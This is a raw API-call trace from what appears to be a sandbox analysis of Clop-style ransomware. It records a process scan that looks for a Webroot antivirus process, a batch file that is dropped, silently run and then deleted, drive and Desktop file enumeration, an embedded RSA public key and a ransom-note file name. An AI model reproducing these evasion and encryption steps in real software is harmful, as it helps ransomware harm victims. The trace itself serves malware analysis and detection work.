returned 1 [0067.678] lstrcpyW (in: lpString1=0x1ebf940, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0067.678] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.678] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0067.678] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="WRSA.EXE") returned -1 [0067.678] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.679] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.679] lstrlenW (lpString="svchost.exe") returned 11 [0067.679] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.679] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.679] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.679] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.679] lstrlenW (lpString="svchost.exe") returned 11 [0067.679] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.680] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.680] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.680] lstrcpyW (in: lpString1=0x1ebf940, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0067.680] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.680] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0067.680] lstrcmpW (lpString1="OFFICECLICKTORUN.EXE", lpString2="WRSA.EXE") returned -1 [0067.680] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.681] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.681] lstrlenW (lpString="svchost.exe") returned 11 [0067.681] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.681] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.681] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.681] lstrcpyW (in: lpString1=0x1ebf940, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0067.681] lstrlenW (lpString="sihost.exe") returned 10 [0067.681] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0067.681] lstrcmpW (lpString1="SIHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.681] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.682] lstrcpyW (in: lpString1=0x1ebf940, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0067.682] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.682] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0067.682] lstrcmpW (lpString1="TASKHOSTW.EXE", lpString2="WRSA.EXE") returned -1 [0067.682] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.682] lstrcpyW (in: lpString1=0x1ebf940, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0067.682] lstrlenW (lpString="explorer.exe") returned 12 [0067.682] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0067.683] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="WRSA.EXE") returned -1 [0067.683] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.683] lstrcpyW (in: lpString1=0x1ebf940, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0067.683] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.683] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0067.683] lstrcmpW (lpString1="RUNTIMEBROKER.EXE", lpString2="WRSA.EXE") returned -1 [0067.683] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.684] lstrcpyW (in: lpString1=0x1ebf940, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0067.684] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.684] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0067.684] lstrcmpW (lpString1="SHELLEXPERIENCEHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.684] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.685] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0067.685] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.685] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0067.685] lstrcmpW (lpString1="SEARCHUI.EXE", lpString2="WRSA.EXE") returned -1 [0067.685] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0067.685] lstrcpyW (in: lpString1=0x1ebf940, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0067.685] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0067.685] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0067.685] lstrcmpW (lpString1="COMMANDSXEROXRELATIONSHIP.EXE", lpString2="WRSA.EXE") returned -1 [0067.685] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0067.686] lstrcpyW (in: lpString1=0x1ebf940, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0067.686] lstrlenW (lpString="nice cu.exe") returned 11 [0067.686] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0067.686] lstrcmpW (lpString1="NICE CU.EXE", lpString2="WRSA.EXE") returned -1 [0067.686] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0067.686] lstrcpyW (in: lpString1=0x1ebf940, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0067.686] lstrlenW (lpString="video_reviewing.exe") returned 19 [0067.686] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0067.686] lstrcmpW (lpString1="VIDEO_REVIEWING.EXE", lpString2="WRSA.EXE") returned -1 [0067.686] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0067.687] lstrcpyW (in: lpString1=0x1ebf940, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0067.687] lstrlenW (lpString="shame.exe") returned 9 [0067.687] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0067.687] lstrcmpW (lpString1="SHAME.EXE", lpString2="WRSA.EXE") returned -1 [0067.687] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0067.695] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0067.695] FindResourceW (hModule=0x400000, lpName=0xf447, lpType="RC_HTML1") returned 0x41b170 [0067.695] LoadResource (hModule=0x400000, hResInfo=0x41b170) returned 0x41c358 [0067.695] LockResource (hResData=0x41c358) returned 0x41c358 [0067.695] SizeofResource (hModule=0x400000, hResInfo=0x41b170) returned 0x3b4 [0067.695] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x1ebfb48 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0067.695] wsprintfA (in: param_1=0x1ebfc4c, param_2="%s\\clearnetworkdns_11-22-33.bat" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat") returned 58 [0067.695] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0067.696] WriteFile (in: hFile=0x1d0, lpBuffer=0x5bbc18*, nNumberOfBytesToWrite=0x3b4, lpNumberOfBytesWritten=0x1ebfb40, lpOverlapped=0x0 | out: lpBuffer=0x5bbc18*, lpNumberOfBytesWritten=0x1ebfb40*=0x3b4, lpOverlapped=0x0) returned 1 [0067.697] CloseHandle (hObject=0x1d0) returned 1 [0067.698] ShellExecuteA (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat", lpParameters=0x0, lpDirectory=0x0, nShowCmd=0) returned 0x2a [0069.932] Sleep (dwMilliseconds=0x1388) [0074.940] DeleteFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat")) returned 1 [0074.941] Sleep (dwMilliseconds=0x1388) [0080.064] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="^_-HappyLife^_-") returned 0x2f0 [0080.064] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x0 [0080.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e760, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0080.065] SetErrorMode (uMode=0x1) returned 0x0 [0080.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e5c0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0080.065] Sleep (dwMilliseconds=0x1a0a) [0087.448] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="A:") returned 2 [0087.448] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0087.448] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="B:") returned 2 [0087.448] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0087.448] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="C:") returned 2 [0087.448] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0087.448] Sleep (dwMilliseconds=0xd) [0087.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e700, lpParameter=0x5ea818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0087.473] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="D:") returned 2 [0087.473] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0087.473] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="E:") returned 2 [0087.473] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="F:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="G:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="H:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="I:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="J:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="K:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="L:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="M:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0087.474] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="N:") returned 2 [0087.474] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="O:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="P:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="Q:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="R:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="S:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="T:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="U:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0087.475] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="V:") returned 2 [0087.475] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0087.476] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="W:") returned 2 [0087.476] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0087.476] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="X:") returned 2 [0087.476] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0087.476] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="Y:") returned 2 [0087.476] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0087.476] wsprintfW (in: param_1=0x1ebff74, param_2="%c:" | out: param_1="Z:") returned 2 [0087.476] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0087.476] Sleep (dwMilliseconds=0x17cdc0) [0097.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1ebfd68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0097.858] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="A:") returned 2 [0097.858] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0097.858] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="B:") returned 2 [0097.858] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0097.858] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="C:") returned 2 [0097.858] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="D:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="E:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="F:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="G:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="H:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="I:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0097.859] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="J:") returned 2 [0097.859] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="K:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="L:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="M:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="N:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="O:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="P:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0097.860] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="Q:") returned 2 [0097.860] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="R:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="S:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="T:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="U:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="V:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="W:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="X:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="Y:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0097.861] wsprintfW (in: param_1=0x1ebfd44, param_2="%c:" | out: param_1="Z:") returned 2 [0097.861] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0097.862] GetSystemInfo (in: lpSystemInfo=0x1ebfd20 | out: lpSystemInfo=0x1ebfd20*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0097.862] SetErrorMode (uMode=0x1) returned 0x1 [0097.862] lstrcpyW (in: lpString1=0x1ebf92c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0097.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0097.862] lstrcpyW (in: lpString1=0x1ebf10c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0097.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0097.862] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 0x6493b8 [0097.862] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0097.862] lstrcpyW (in: lpString1=0x1ebe320, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0097.862] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0097.862] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0097.862] lstrcmpW (lpString1="-aXVf.flv", lpString2="..") returned 1 [0097.862] lstrcmpW (lpString1="-aXVf.flv", lpString2=".") returned 1 [0097.862] Sleep (dwMilliseconds=0xd) [0097.888] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.888] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="-aXVf.flv" | out: lpString1="-aXVf.flv") returned="-aXVf.flv" [0097.888] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0097.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0097.888] SetErrorMode (uMode=0x1) returned 0x1 [0097.888] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0097.888] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0097.888] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0097.888] FindResourceW (hModule=0x400000, 